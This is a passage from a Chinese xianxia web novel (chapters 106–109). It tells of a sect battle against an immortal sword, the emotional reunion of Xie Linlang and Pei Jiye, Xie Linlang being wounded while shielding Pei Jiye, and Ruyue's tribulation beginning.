琉月的本体好歹也是修行有成的高手，他略扫了几眼就判断出了目前局势。 培风老儿本是三人实力最强的渡劫期修士，但他比较倒霉，没有了寂夜宫主的契约保护，又被困在上古坟场内近百年，除了祭炼多年的本命法宝外，他本人已经没有任何丹药补充品了。 除了他绞尽脑汁从时间缝隙里抽出的一道道图腾之灵，在不断为他加持种种神通，他恐怕早已落败了。 毕竟培风老儿并不是九灵宗修士，他只能单纯地抽出妖族神通，却不知道如何将诸多神通融会贯通，也没法解决妖族神通间的冲突和反噬。 但谢琳琅就不同了。 他本就是化神修士，虽然之前重修回到了筑基期，可才几个月不到，对他来说就像是养伤了一段时间就重回巅峰了。 纵然他用的七星剑品级只有金丹期，攻击力略显不足，但他似乎很熟悉这边的地形，正在将培风老儿朝着山门顶部的大殿驱赶。 最重要的是，谢琳琅攻击时完全不在乎自身安全，招招都想同归于尽，似乎很想带着培风老儿一起死。 这导致培风老儿很快落入了下风，只能不断后退招架。 山门前有着层层叠叠的楼梯，培风老儿为了抢占高地，主动来到了山门大殿的台阶上。 而在培风老儿踩到最顶层台阶的瞬间，谢琳琅身剑合一，七星剑仿佛张开了密不透风的网，周天星斗旋转，猛地冲向培风老儿。 培风老儿只得继续后退。 但他这一退，就进入了九灵宗的山门大殿内。 嗡—— 一道肉眼看不见的尖啸声在山门大殿内猛烈震颤起来。 纵然已然过去了快百年，可曾在这里烈烈焚烧的漆黑之火仿佛深深烙印在了大殿内，始终流淌在空气中。 在培风老儿踏入大殿的瞬间，那曾经消失的漆黑火焰突兀爆开，转瞬间竟蓬勃燃烧着，冒出了巨大的火焰！！ 培风老儿忍不住尖叫起来，那火焰只是轻轻一撩，他背后图腾之灵生成的巨大羽翼就被灼伤了，原本悬浮在半空的培风老儿竟直直坠了下去！ 下方是个巨大的深坑，坑内满是漆黑粉尘，仿佛无数人曾在此被焚烧曾残渣。 浓烈的怨恨交织混杂着，当有生者坠入其中时，裴霁的怨恨、九灵宗修士的怨恨以及无数死亡于此地的妖族怨恨全都汇聚起来。 谢琳琅见到这一幕，畅快地大笑起来。 “哈哈哈哈哈果然如我所想。” 琉月加快速度也爬了上来，只见黑衣少年扶着九灵宗山门大殿的门扉，发出扭曲而癫狂的笑声。 “这是他留下的火焰，这是他倾泻憎恨和愤怒之地，培风老儿，时隔百年终究还是死在师兄手里，高兴吗？开心吗？怎么都逃不出他的手掌心，你也就这点水平了。” 培风老儿发出凄厉地嘶吼声：“不——！！” 为什么他的图腾之灵全都失效了？ 为什么黑色火焰仿佛在刻意针对图腾之灵的力量？为什么谢琳琅不受到影响？ 难道裴霁那小儿真的修行通天，即便是残留了无数岁月的已经熄灭的火焰，都可以精准地避开谢琳琅？ 培风老儿踉跄前行，漆黑的坑底仿佛生长出无数只黑色诅咒之手，死死抓住了培风老儿的双腿和衣衫下摆。 这一幕何其眼熟、何其相似。 就仿佛上古坟场那一幕重现，只不过当时谢琳琅是祭品，被白骨妖灵死死抓在原地动弹不得。 培风老儿仰着头试图从坑底冲到洞口边沿，却怎么都迈不开腿。 他的魔气成了黑色火焰的养料，不断澎湃燃烧着。 老者抬头，下意识地对前方伸出手。 却只看得到站在门扉边的谢琳琅。 黑衣少年背后有光落入，看不清他脸上的表情，身影却如死神般堵住了唯一的生路。 就如同当年裴霁用商君秘术、颠倒了祭品和祭司的位置，培风老儿成了祭品，而裴霁站在祭司的位置，转身向着光离去的背影。 “我不甘心。” 一瞬间，极致的愤怒情绪涌上心头，培风老儿体内魔气猛地收缩，继而爆发出了恐怖的能量波动。 他自爆了，试图拉着谢琳琅一起去死，“我不甘心啊啊啊啊啊——！！” 谢琳琅大笑着，竟没有任何避开的意思，就这么堵在门口，畅快而开心地看着培风老儿自爆。 琉月不知道哪里来的力气，猛地向前冲去，直直地撞开了谢琳琅！ 谢琳琅闷哼一声，他在地上滚了两圈，好不容易稳定身形，下意识地抬头看去。 只见巨大的爆炸直接轰在了琉月背后，琉月这具法身像是玩偶般出现了细细的裂纹，咔嚓一声，他那姣好秀美的脸盘上，法身即将报废。 琉月只觉得身心舒畅、念头通达。 他看着一脸茫然、完全没反应过来的谢琳琅，得意地说：“你有什么话，自己亲口对他说吧。” 下一秒，琉月身上绽放出赤红色的光芒。 狐死首丘，法身与本体瞬息间联通在了一起。 在无数碎屑烟尘的爆炸声中，谢琳琅被一阵红色的光淹没了。 第107章 第 107 章 “这只能说明你根本不…… 轰隆—— 白色的线和金色的光猛烈撞击在一起, 爆发出的恐怖力场漩涡几乎将眼前的一切都彻底掀翻。 乐清屏死死抓着平台侧面的副手，巨大的力量冲击中努力稳住身形。 作为小平台的阵法核心，她的手仍死死抓着黑色晶体衍生出的虚幻画面, 以她为主导的阵法吸收着平台上其他几个人的魔气, 源源不断传入到前方裴寂夜所主持的超大型阵法中枢内。 浪花掀起数百丈高, 形成了一道道黑色墙体, 再以无法抗拒之势重重砸下。 寂夜宫上空浮现了一层层金色和紫色阵法符文, 滔天海水覆盖下来, 在阵法符文的解析和反击中，变成了瓢泼大雨，砸向了无数寂夜宫弟子。 大部分弟子都撑起了防护罩，倒是乐清屏直接被海水兜头扑了一身, 整个人都湿漉漉的。 同台子的符文房修士不解地看着宛如落汤鸡的乐清屏：“干嘛不挡一下？” 乐清屏抬手抹了把脸, 发丝贴在脸颊上, 让少女看上去有些狼狈。 “节省点魔气，这可是一场持久消耗战。” 她也不知道为什么没有用防护罩抵挡, 乐清屏遵从自己的战斗直觉, 反正这巨浪经过了防护阵法的过滤，顶多被泼一身海水而已。 乐清屏努力向前看去，透过无数暴乱的魔气和灵力轰击的波流中，她隐隐能看到最前方那黑紫色阵法中枢上绽放的光芒。 寂夜宫主在噬天剑的冲击下似乎毫发无伤！ “太好了, 话说天凌宗到底什么意思？他们是想来分一杯寂夜长吟的好处吗？那为什么要来趁此机会袭击寂夜宫？” “也许是他们什么都想要, 一方面报了上次宫主重创天凌宗主的仇怨，一方面将寂夜长吟的好处全部收入囊中……” “他们怎么不做梦呢？话说回来, 要是做梦就能成仙，那可太好了……” “别贫嘴了，赶紧继续向阵法中输入魔气！” 无数寂夜宫弟子的闲言碎语通过阵法中枢传入到最前方裴寂夜耳中。 噬天剑毕竟是仙人之剑, 若非商君的权柄，裴寂夜也不敢正面对抗，他还没找到谢琳琅，他还不能死。 一阵气血翻涌，裴寂夜深吸一口气，定了定神。 “商君？” 商君没有回答，仙人之力和天道曾经钟意的权柄撞击在一起，不分胜负。 裴寂夜也不再等待，他再一次激发了寂夜宫的阵法。 无数个回字形的宫殿环环相扣，层层叠叠的魔气堆积成了一个复杂的立体阵法，环形的光流转、嵌套，继而消失在虚空之中。 海面又一次发出了低沉的长吟之声。 混沌风船上，卫景营脸色煞白，他不可置信地看着似乎毫发无伤的裴寂夜，喃喃地说：“刚才是什么？” 他像是确认一样对左右身侧的护剑人道：“两位前辈，你们看到了吗？那裴霁居然有对抗仙人之剑的力量！！” 黑白两位护剑人对视一眼，穿着白色长袍的中年人温和地说：“宗主，还请冷静，我们此来的目的是阻止寂夜宫开启寂夜长吟，让灾厄在正确的时间、也就是十年后再出现，而不是现在就爆发。” 穿着黑色长袍的中年人也劝道：“没错，宗主，您催动噬天剑也需要付出代价，第一剑既然被挡下了，那就不要再攻击阵法中枢，而是单纯攻击阵法本身吧。” “构成这庞大阵法的是寂夜宫一个个嵌套成回字形的宫殿，我们可以避开最强的阵法中枢位置，进攻构建阵法的阵眼。” 斜后侧天凌宗的一位长老也赞同两位护剑人前辈的看法，“卫宗主，你看到寂夜宫最前方侧面那个阵眼了吗？” 卫景营顺着那长老的指点看了过去。 寂夜宫坐落在一个深入到浅海的半岛上，从半岛边缘向大海延伸，还星罗密布着很多小岛，如今寂夜宫整个宫殿形成了巨大的阵法，那些大海边的小岛也链接起来，仿佛一条条链子，牢牢护卫在寂夜宫的前方。 “寂夜宫分上下两层，此刻地面上的宫殿建筑构成了阵法，但地下宫殿恐怕没那么容易链接起来。” 那长老摸了摸自己的胡须，胸有成竹地说：“岛屿随着阵法转移了，可是与地下宫殿的通道却还存在，咱们可以攻击曾经岛屿所在位置的地下空洞，当下方宫殿坍塌时，整个地上宫殿也会出现问题。” 卫景营缓缓道：“好主意，那我第二剑就冲着地下宫殿刺去。” 话音落下，他抬手一点，全身灵力激荡，银白色长剑又一次化为了一根细细的白线。 那白线直直平推出去，冲向了曾经寂夜宫浅海的岛链位置。 看到这一幕，裴寂夜微微蹙眉，当不当一回事。 就差一点了，魔气积蓄到位，阵法运转良好，商君也锚定好了商君冢的位置，上古坟场，给我开——！ 一瞬间，巨大的宫殿群绽放出璀璨的黑紫色光芒，宛如一根通天巨柱，联通了远古和未来，并锚定了现在。 无形的门扉出现在所有人面前，上古洪荒气息扑面而来。 啊？这、这就是传说中的上古海域吗？ 寂夜宫年轻弟子尚且有些茫然，但曾经历过上一次寂夜长吟的宗门老前辈却全都色变了。 “不对！这不是上古海域！” “宫主在做什么？” “这道门通往哪里？” 只是不等寂夜宫的高阶修士反应过来，上古坟场的大门还未开启，那道白色的线就已然平推了过来。 仙人之剑煌煌然如昊日降临，直接将这道上古坟场的大门撕成了碎片！ 已然沉寂死亡在世间裂缝里的坟场，只能躲在虚假的时间阴影中，又怎么能在仙人的注视下堂而皇之地降临于人世间？ 裴寂夜看到这一幕，整个人气血翻涌，简直要气疯了。 他看着卫景营方向，怒火滔天，漆黑的火焰顺着指尖，化为一条长龙，冲向混沌风船。 就在此时，裴寂夜心底响起一个古朴肃然的声音：“冷静。” 裴寂夜沸腾的大脑仿佛兜头泼了一盆冰水，瞬间冷静下来。 他现在最重要的是积蓄阵法力量，第二次试着打开上古坟场大门，将谢琳琅接出来，而不是干掉卫景营。 已经有寂夜宫高阶修士心生疑虑了，他不能再拖下去了，若是让寂夜宫高阶修士发现他的目的，那就麻烦了。 想到这里，裴寂夜一咬牙，鲜红的眼眸里闪过一丝冷光，唇边溢出一丝血气。 黑紫色的阵中枢仿佛是贪婪的饕餮，再一次吸取着所有寂夜宫弟子的魔气，寂夜宫的回字形宫殿又一次发出光芒。 卫景营脸色煞白，裴寂夜的攻击被他身侧的护剑人前辈帮忙阻挡了，但眼瞅着第二剑也没达成既定目标，卫景营已然有些撑不住了。 每一次使用仙人剑，都需要卫景营点燃神魂、尽可能凝练出一丝足以催动噬天剑的灵力，可若是点燃神魂次数太多，他会有立刻陨落的风险！ “我们的同盟还未到吗？” 卫景营忍不住问身后侧的长老。 天凌宗发出了召集令，其他宗门的人呢？ 长老不断掐着法诀，急得额头全是汗：“来了来了！他们就要到了！” 伴随着天凌宗长老的话语，南海海面上再一次掀起万丈波澜，像是大海深处有什么东西即将冲出，咕嘟咕嘟的水流不断溢出。 大地不断发出轰鸣声，上古时代的地下河道再一次通航，所有人的目光都不由自主地看了过去。 下一秒，浩瀚庞大的水流从海中冲天而起，来自真界的数个宗门的宝船踏着浪花，顺着水流飞入了天空。 裴寂夜只扫了一眼就收回了目光。 他依旧专心致志、坚定不移地积蓄着魔气，他要打开上古坟场大门，他要找回谢琳琅！！ 天空中一艘艘宝船缓缓列阵开来，横在了天凌宗的混沌风船和寂夜宫之前。 金翎真人见到整个寂夜宫严阵以待，又赶紧去看海面，在发现大海的颜色虽然变成了黑色，也弥漫着一股混沌气息，可并未浮现出众多海妖，不由得松了口气。 “太好了，还没正式开始，我们来得很及时。” 他的话音刚落下，一股赤红色的力量仿佛风暴般席卷了斜前方的一艘宝船。 那是天魅宗的船只。 “如月？！” 天魅宗主失声喊道。 原来是一直凭栏远眺的如月尊者突然面色煞白，紧接着他一个箭步，冲出了宝船，张开怀抱，仿佛在接什么。 下一秒，一个黑衣少年像是被空间挤压出来一样，突兀落入了如月尊者的怀抱里。 所有人看到这一幕的人均是一愣，这什么情况？ 谢琳琅只觉得全身骨头都在嘎吱作响，然后有什么人接住了自己，圆润丝滑的魔气涌入体内，谢琳琅这才有种再度活过来的感觉。 他下意识地抬头，对着抱扶自己的人露出一个温和笑容。 “多谢道友……额，如月道友？” 琉月的本体如月尊者嫣然一笑，仿佛是昏沉黑暗的天海间一抹光亮。 “你没事吧？” 谢琳琅正要回答，紧接着一道凄厉的剑光如白虹贯日，直刺如月尊者的眉心。 如月尊者赶紧松开谢琳琅，转身就跑。 谢琳琅下意识地稳住身形，凌空飘在海面上。 那凛然的剑光劈开了谢琳琅身后的海面，海水倒卷上天，形成了一道黑色水墙，如帷幕般挡住了谢琳琅与如月尊者间的路线。 一个身影出现在了谢琳琅身前。 这人一头漆黑长发，发梢流淌着莹绿色火焰，气息冰冷恐怖，正是魔域名声最差、手段狠辣的寂夜魔君裴寂夜。 他双目血红，死死盯着谢琳琅，声音沙哑中透着阴冷，细声细气地问：“你刚才在对谁笑？” 谢琳琅沉默了十几秒，他紧紧盯着眼前的人，眼眶也红了。 一闭眼间，泪水潸然落下。 他哽咽着，充满着怨怼和愤懑。 “你明明没死，为何瞒我百年？” 刚才还杀气凛然、气焰嚣张的魔君立刻矮了三分。 “你、你听我解释，这、这是有原因的……” 谢琳琅口不择言：“原因？什么原因？因为你被寂夜宫困在魔域，不能离开？还是因为你有了新的红颜知己，比如那位姚黄仙子？” 裴寂夜听后先是脸色涨红，继而又苍白极了，他忙不迭解释：“不不不，我和姚黄只是闺蜜，我们都觉得自己被所爱之人抛弃了！” 谢琳琅瞪大眼睛，不可置信地看裴寂夜。 “我抛弃你了……？” 裴寂夜的声音里透着一丝委屈：“你和别人结为道侣……” “如果你爱我，为什么不来抢婚？” 谢琳琅气得脑子发昏，开始已读乱回，“这只能说明你根本不爱我！！” 第108章 第 108 章 你在人间，我甚欢喜。…… 裴寂夜脑子有些发蒙。 他很多年没见到谢琳琅了, 辗转反侧、朝思夜想时，他会凝视着南海波澜壮阔的海面和浪花，去想象并描摹那个居住在九夏山, 被所有人夸赞的琳琅道君是何等模样。 很多人都说谢琳琅光风霁月, 性格温和, 乐善好施, 温柔内敛……他会为普通人研发饱腹的丹药, 也会为一些边缘修士提供丹道咨询, 他似乎有很多朋友，和谁都谈得来，完美地仿佛没有任何缺点。 但裴寂夜知道真实的谢琳琅不是这样的人。 谢琳琅其实不喜欢与太多人交流，他喜欢研究丹道, 喜欢沉迷在各种材料配比中, 他甚至懒得去参加什么研习和讨论会, 哪怕需要材料，也只会砸钱买或者从修士手里高价收购。 以前裴霁出门游历, 但凡找到点什么新奇的东西, 他都会迫不及待地将东西送到谢琳琅面前。 他最喜欢看谢琳琅瞪大眼睛，欣喜地把玩着他带回来的玩意儿，再抬眸看过来，温柔而欢喜地说, 谢谢师兄, 我很喜欢。 那种发自内心的欢喜太过纯粹明丽，仿佛能净化裴霁心底的杂念。 然而渐渐的, 这杂念却怎么也无法消除了，甚至变成了另一种念头，恨不得将师弟揽在怀里, 细细宽慰亲昵。 将师弟变成琳琅并不难，毕竟师弟当时对外的窗口是他。 他们的师父神幽真人胸腔内总是积蓄着一股愤懑之气，红师姐的存在感非常低，总是不吭声，谢琳琅拜入门下后，也只能找裴霁了解情况、寻求帮助。 那时的裴霁只觉得前途明朗、人生顺遂，入目的一切皆鸟语花香、美满平和。 他修行有成，师父看重，师姐避让，师弟又成了所爱之人，以后他会成为九夏山的掌门，甚至飞升成仙也不在话下。 然后一切都变了。 他从一个仙门大宗的弟子，眨眼间成了背负着万余年的恩怨和债务的魔修宫主。 等他好不容易死里逃生、从上古坟场出来，就发现自己再也无法回到九夏山，而他所爱的人也与别人成婚了。 那一刻的打击是巨大而颠覆性的。 谢琳琅问他，为什么没有去抢婚，裴寂夜怔怔许久，过往这些痛苦的、绝望的、憎恨的一切都化为了尘埃，只停留在他内心缝隙中，没有露出分毫。 他深深注视着谢琳琅，温和地说：“因为比起我的意愿，我更希望你能找个喜爱的人，那是你所选择的伴侣，我尊重你的选择。” 哪想到谢琳琅听后脑子嗡一声就空白了。 什么叫做我尊重你的选择？你裴霁要真的尊重我，当初为什么要和我滚在棣棠花的花丛里？ 你只是听到了一个消息，就自顾自地认为我们之间没有可能了，你在隐晦地谴责我的同时，不也对我没有任何信赖吗？否则为什么连问都不问一声？ 就算你无法从寂夜宫离开，每年从魔域前往真界游历的魔修那么多，随便找个人送封信都不会吗？ 好好好，退一万步来讲，我谢琳琅移情别恋，不喜欢你了，可我们终究是一个师父教出来的，那么多年的师兄弟情谊都喂狗了吗？ 红师姐游历多年音讯全无，我都还会挂念着，你裴霁作为师兄险死还生，我这个师弟是没资格知道师兄还活着这件事吗？ 你继承了师尊的衣钵，唯有你是伯夏修士，掌握着九夏山的秘法，你不相信掌门师叔，也没有给红师姐或者我传讯，归根结底还是不相信我们啊！！ 还需要再想别的理由了吗？ 不用了，前略后略，种种思绪在谢琳琅脑袋里快速闪过，他直直地看着裴寂夜，身形微微颤抖，眼尾微红，眼神发狠地说：“所以你还是不爱我了！！” 裴寂夜：“……” 他急了，恨不得将心剖出来给谢琳琅看，“不，我爱你，我真的爱你啊！！” 之前不知道躲在哪里的如月尊者探出脑袋，笑嘻嘻地说：“谢道友，你之前不是还拜托我给裴宫主传话吗？我觉得还是你亲口告诉他比较合适。” 天魅宗主脸都绿了，一把掐住自家师兄的肩膀，死命将人塞进身后的宝船内舱。 好师弟哎，你别添乱了！还嫌死的法身不够多吗？这可是你的真身，不是法身，你悠着点！ 就在此时，另一边某艘宝船上，一个阴阳怪气的声音响起。 “裴宫主，若我没认错，这人是你们寂夜宫弟子谢玉吧？值此寂夜长吟的关键时刻，你却在和你们宫内的弟子调情，这不太合适吧？” 此言一出，被连翻变故惊到继而停下来吃瓜的修士都反应过来了。 是啊，我在做什么？我是来阻止寂夜宫蛮干的，我不是来看小情侣久别重逢互相扯头花的啊！ 那个阴阳怪气的声音继续道：“还是说，你急着解决你和小情人的事情，放弃发动寂夜长吟了？”他发出了一连串嘲讽的笑声，“那也挺好的，不愧是至情至性的魔修。” 裴寂夜脸色一冷，对着谢琳琅时他显得气虚软弱，但除了谢琳琅外，他裴寂夜不会再对任何人低头了！ 他反手一扬，墨绿色的光化为一把锋利的剑，直直刺向了声音传来的方向。 铿锵一声撞击，裴寂夜的攻击竟被卫景营操纵噬天剑挡下了。 卫景营的脸色白的近乎透明，他像是整个人都燃烧起来了似的，将一切力量都填入了噬天剑，他身后两个护剑人的表情都有点难看。 卫景营几乎要大笑了，激动而喜悦的心情充溢胸腹，他大声道：“裴霁，你沉迷情爱，视大陆安危于无睹，让整个大陆陷于灾厄的威胁之中，将个人私情置于宗门之上，放弃身为一派之主的责任，以私情害公义，还有何颜面站在我等面前？！” “如今仙门正宗各派修士皆于此，你休想再凭一己之力将大陆拉入战火之中，我天凌宗在此立誓，必将维护大陆和平安定！诸位道友，随本宗主一起斩杀此獠，还大陆一个太平！” 他说出来了！他做到了！他真的达成了师尊当初交给他的任务，他完成了天凌宗一直以来的野望，成为了整个大陆共同认可的仙门第一宗！ 卫景营天生情感异于常人，由于出身于修行家族，长辈仔细检查了他的情况后得出结论，他是天生的修行天才，他不会受困于人的七情六欲，他不会有任何心魔，他将成为整个大陆距离仙人最近的强者！ 他拜入天凌宗门下，成为宗主的嫡传弟子，修行顺遂，没有任何缺点，是宗门弟子们标榜的榜样和目标。 可是随着他的修行成长，天生情感缺失的问题逐渐放大，他无法共情其他弟子的想法和感受，他不能理解这些人的苦闷之处。 修行遇到困难，无法获取足够的资源，实力过于弱小，寿命将近却突破无妄……这难道不是他们自己的问题吗？修行本就是获取天地资源以成就自己，他们自己没能力，又哪来的脸去怨怼别人？ 卫景营不理解，但没关系，他的师尊给他提了一个要求，只要他能让天凌宗成为整个大陆都认可并愿意追随的第一仙门，就说明卫景营已然突破了自身限制，未来仙途一片光明。 此时此刻，高举着弑天剑，卫景营是真的相信自己达成了师尊的要求，只要这一役结束，他就能飞升成仙，成为天凌宗千年来飞升的第一人！！ 心随意动，噬天剑感知到卫景营热切的渴望和杀意，在截断了裴寂夜的攻击后，那白色的剑刃再一次化为细线，顺着裴寂夜的长剑反向冲击，几乎一瞬间就来到了裴寂夜的面门！ 裴寂夜心中冷笑，一只眼睛化为了金色竖瞳，天地有商…… 然而他还没来得及释放商君的权柄，一道黑色的影子挡在了他面前。 那是谢琳琅。 谢琳琅本就站在距离裴寂夜最近的位置，他向来行动快过大脑，也许他想了很多，可说出的话只有一两句，很多时候都凭借着身体本能行事。 从裴寂夜说爱着他，到卫景营突然高举噬天剑凛然地说着什么为了大陆和平要干掉你，谢琳琅压根没搞清楚怎么回事。 他也不在乎周围这群人为什么聚在这里，为什么要自顾自地说些奇奇怪怪的话。 谢琳琅只想知道，裴霁说爱他，然后呢？ 而就在此刻，谢琳琅看到了那一丝快若闪电的细线，直刺向裴霁的眉心。 一瞬间极致的愤怒再一次充盈全身。 好烦啊！他好不容易找到尚在人间的裴霁，就不能等他搞清楚裴霁到底还爱不爱他，再干别的吗？ 他和裴霁的事情哪里轮得到其他人插手？ 于是谢琳琅想也不想地冲上去，直接推开了裴寂夜。 噗叽一声，细细地线穿透了谢琳琅的身躯，鲜血如扇面般铺开，瞬间染红了裴寂夜的眼眸。 “琳琅！！” 谢琳琅口吐鲜血，他恍惚地看着疯狂冲向他的裴霁，他似乎被抱住了，时隔百余年，他们终于再一次握住了彼此的手。 那掌心传来的暖意仿佛一缕阳光，哪怕只是存在着，都让谢琳琅心生温暖。 啊，是了，他想说什么来着？ 爱也好，恨也罢，怨怼和不满，思念到发狂，可最终还是那句：“……你在人间，我甚欢喜。” 裴寂夜呆滞了。 远处天魅宗的宝船里，如月尊者探出脑袋，发出了响亮的笑声。 “哈哈哈哈哈——咳咳，师姐你别揍我，我不是故意的，但真的太搞笑了！” 第109章 第 109 章 三个天劫。 如月尊者一脸安详。 哪怕被裴寂夜恐怖的眼神锁定, 似乎下一秒就要先卫景营一步成为裴寂夜的攻击目标，如月尊者也觉得圆满了。 他突破了一直以来的境界，卡着他无法进阶的桎梏已经松动了, 他马上就要从化神期进入渡劫期了！ 轰隆—— 看啊, 如月尊者微笑着张开双臂, 果然天劫来了, 他要渡劫啦！ 天劫一般只会锁定应劫之人, 不会波及无辜, 但天劫降临时会导致周围空间不稳，灵力和魔气不断交缠杂糅起来，继而对周围环境造成极大改变。 最重要的是，很多修士在即将渡劫前夕, 会绞尽脑汁地封锁自己的修为, 降低天劫出现的几率, 尽可能做好万全准备。 所以一旦天劫降临，很多想办法推迟天劫的修士就会自发地远离劫云笼罩范围之内, 生怕因为连带关系, 将自己的天劫也唤醒，继而被迫开始渡劫。 如月尊者曾亲眼见裴霁如何变成裴寂夜，也知道寂夜宫内积蓄了万年的债务即将出清，更熟悉裴寂夜目前的状况。 由于谢琳琅渡劫失败, 裴寂夜被迫提前蜕化了一次, 此刻修为并不稳定，全靠寂夜宫的中枢阵法和无数寂夜宫弟子帮忙提供魔气。 而谢琳琅的出现也导致裴寂夜的心境有了裂痕。 那么当天劫降临时, 裴寂夜会顶着天劫、强行发动什么寂夜长吟吗？ 不会，他只能将积蓄而来的魔气变成自己抵抗天劫的防护阵法。 如月尊者几乎要为自己鼓掌了，真棒啊, 不仅完美的化解了寂夜长吟可能带来的灾难，还成功报复了裴寂夜，又满足了谢琳琅与裴寂夜间的爱恨情仇。 但如月尊者没有想到一件事。 之前谢琳琅之所以陨落，归根结底是因为渡劫失败。 也就是说谢琳琅也在劫云的选择范围之内啊！ 谢琳琅转世重修，以鹤骨重塑真身，本来只有低微的筑基期，距离天劫尚且遥远，根本不用考虑这件事。 然而在上古坟场商君冢，谢琳琅阴差阳错以引魂灯平息了商君冢内游荡多年的白骨怨灵。 上古坟场本就坐落于时间缝隙之中，在那里时间的概念是螺旋甚至反向冲刺、并非线性向前的，这也导致谢琳琅的修为不需要随着时间慢慢积蓄，而是螺旋跳跃，瞬间恢复到了曾经的化神期巅峰状态。 甚至于那无数功德还化为了一缕披帛落在了谢琳琅身上，成了谢琳琅的本命法宝之一。 只是当时发生的事情太多了，谢琳琅满脑子都是裴霁、仇恨、培风老儿、他爱不爱我这种事情，一时半会没顾得上收起这件白色长帛。 仙剑之威，岂是谢琳琅能抵挡的？ 本来卫景营这一剑足以送谢琳琅下地府，然而谢琳琅恰恰没有收起本名法器。 当噬天剑刺入谢琳琅的身体内时，那白色长帛突兀透明，变成了无数细细的丝线，丝线以蚕茧的方式迅速笼住了谢琳琅全身，继而融入到了谢琳琅的骨血之中。 这才让谢琳琅看起来只是被刺了一剑。 裴寂夜紧紧抱着吐血昏迷的谢琳琅，只觉得从灵魂深处散发出了一股冷意，极度的恐慌浮现心头：“琳琅？琳琅你醒醒……” 他体内的魔气疯狂涌入谢琳琅体内，试图帮他恢复伤势。 然而裴寂夜的魔气立刻碰到了噬天剑残留的丝缕剑气，二者以谢琳琅的身体为战场，激烈交锋起来，反而进一步重创了谢琳琅的身体。 裴寂夜慌急了，而就在他将全部注意力都放在怀里的人身上时，却没发现两件事。 一个是周围各大宗门的宝船都在飞速后退，让开这片海域，因为他们头顶上正在酝酿厚厚的黑色乌云，其中隐隐透露出紫色神光，那明显是天劫会劈下来的紫霄神雷。 如月尊者已然主动脱离了天魅宗的宝船，凌空而立，站在南海海面上，时不时有远处宝船里的修士朝着如月尊者扔各种法器。 毕竟如月尊者在大陆上有众多红蓝双颜知己，此刻他当着大家的面渡劫，看在过去欢好时光的份上，所有修士都或多或少地给了点支持。 如月尊者：果然这是最佳的渡劫方式，若是他在宗门渡劫，哪可能聚这么多知己们，也没可能让这些知己们给他送东西啊！ 优势在我！ 如月尊者如此想。 尤其在看到裴寂夜头上也开始酝酿出黑色乌云时，如月尊者几乎要笑出声了。 裴寂夜和谢琳琅帮他体悟修行真谛、破除迷惘，跨越境界，他如月非常感谢，可如月尊者也记得是混蛋裴寂夜将他的法身串成了叉烧，成了寂夜宫的笑柄。 如月尊者强忍着笑意，好心提醒裴寂夜：“裴宫主，若你不想谢道友再一次身死道消，就赶紧将他送到你们寂夜宫里吧，你要渡劫啦，你难道想要拉着谢道友一起渡劫？” 远处宝船内的天魅宗主见到这一幕，差点晕眩过去。 如月这家伙都要渡劫了，还要撩拨寂夜宫主，这是找死啊！！ 万一寂夜宫主不在乎自己能否顺利渡劫，只想拉着如月一起死，那他们俩就真要被天劫劈死了！！ 另一艘宝船上，沈鹤紧紧抓着船舷远眺着前方这继而连三的变故。 作为一个才筑基期的修士，他根本没资格掺和到这种事情里，只能焦急看着这一切。 裴霁这个塑料亲戚姑且不算什么，他的玉佩师尊却极为重要啊！ 谢师尊可千万不要有事啊！ 但也正是他一直盯着谢琳琅，才敏锐地发现了一丝不对劲。 “等等，谢师尊、师兄身上的气息是不是不对劲？” 沈鹤的表情有些惊恐，“宫主头顶的劫云好像是两种不同的天劫成色啊？！” 裴寂夜身负寂夜宫的债务，天劫自然是非常恐怖的金红色诛魔神雷，而谢琳琅倒不至于享受这个待遇。 他转世为妖，又修行宝树经，甚至刚做完了一场功德，纵然也欠了寂夜宫不少债务，正负加减一下，甚至功德还有剩，天劫的威力自然也远比不上裴寂夜。 但当二者劫云重合，那威力将无人能敌。 姚黄仙子见到这一幕，脸色铁青。 事实上自从裴寂夜当众爆出他和姚黄同样是被抛弃的闺蜜关系后，姚黄仙子就特别想冲到裴寂夜面前，左右开弓给这狗男人两耳光。 ——你特么还爱着谢琳琅、不介意被抛弃的事，但老娘并不想被人知道自己真的瞎了眼、曾爱过卫景营那个叉烧啊！！ 魏紫仙子死死拉着自己师姐，一个劲说你这时候跳出去反而更引人注意，只要假装没听到，这件事就无人在意！ 金翎真人则是一副地铁老人看手机的表情，完全不知道事情怎么变成这个样子了。 他发出了几乎是所有寂夜宫修士都有的疑惑：我们宫主什么时候心有所属了？ 不是说寂夜宫主早年专心修行，后来一怒之下灭了九灵宗，还抢走了卫景营的未婚妻姚黄仙子，二人双宿双飞好不快活…… 好吧，现在看来这全是虚假消息了，但他们宫主为什么会和夕死门的谢玉有牵扯？ 谢玉入门才几个月，难道宫主老房子着火了？ 修士寿命绵长，在漫长的岁月中除了专心修行外，总要有点调剂生活的乐子。 如此惊天爆瓜在他们眼皮子底下出现，他们却一无所知，真是太无能了啊！ 但不等金翎真人仔细品味这颗有点过期、但还是很美味的瓜时，姚黄仙子拍了拍拉着她的魏紫仙子的手，语气冰冷地说：“随我来！” 下一秒，姚黄仙子化为一缕黄色流光，离开了宝船。 魏紫仙子下意识地喊道：“师姐？！” 金翎真人尽管不明所以，但好歹也是同宫修士，就对洪奎、钱师兄等寂夜宫弟子说：“尔等不要离开宝船。” 然后金翎真人追着姚黄仙子离开了。 作为寂夜宫内有数的高手之一，姚黄仙子毫无阻碍地进入了寂夜宫内的护法大阵中，她第一时间找到了自己的亲传弟子乐清屏。 “清屏，将控制权限给我！” 乐清屏见到自家师尊从天而降，立刻乖巧地让开了位置。 “师尊，我只是这三个宫殿群的小核心，真正的控制权限……” 在寂夜宫主所在的平台以及林郁那边啊。 姚黄仙子冷笑道：“现在裴寂夜恐怕压根没空想着宫内弟子了。” 毕竟裴寂夜怀里的谢琳琅重伤了，天上还可能随时降下天劫。 “林郁，我知道你听得到我的话，启动阵法的应急机制，将宫内权限转移到我身上！” 每次寂夜宫对抗寂夜长吟时，无数上古海妖冲击宫殿群，总会有负责阵法中枢的修士当场陨落，为此寂夜宫各大回字形宫殿群中植入了中枢转移的应急机制。 此举保证了即便主持阵法中枢的修士陨落，也能继续运转寂夜宫的防护阵法。 林郁顿时纠结了。 他自然是坚定地支持裴寂夜的，可是他已经呼唤裴寂夜好几次了，但裴寂夜像是耳聋了一样，正紧紧抱着那个叫谢玉的黑衣少年，一边躲避卫景营的进攻，一边尽可能远离寂夜宫的方向。 天劫要降落了，此刻往寂夜宫跑，不仅不会得到寂夜宫防护阵法的助力，反而会被寂夜宫积蓄了万年的债务牵累，导致雷劫威力更强。 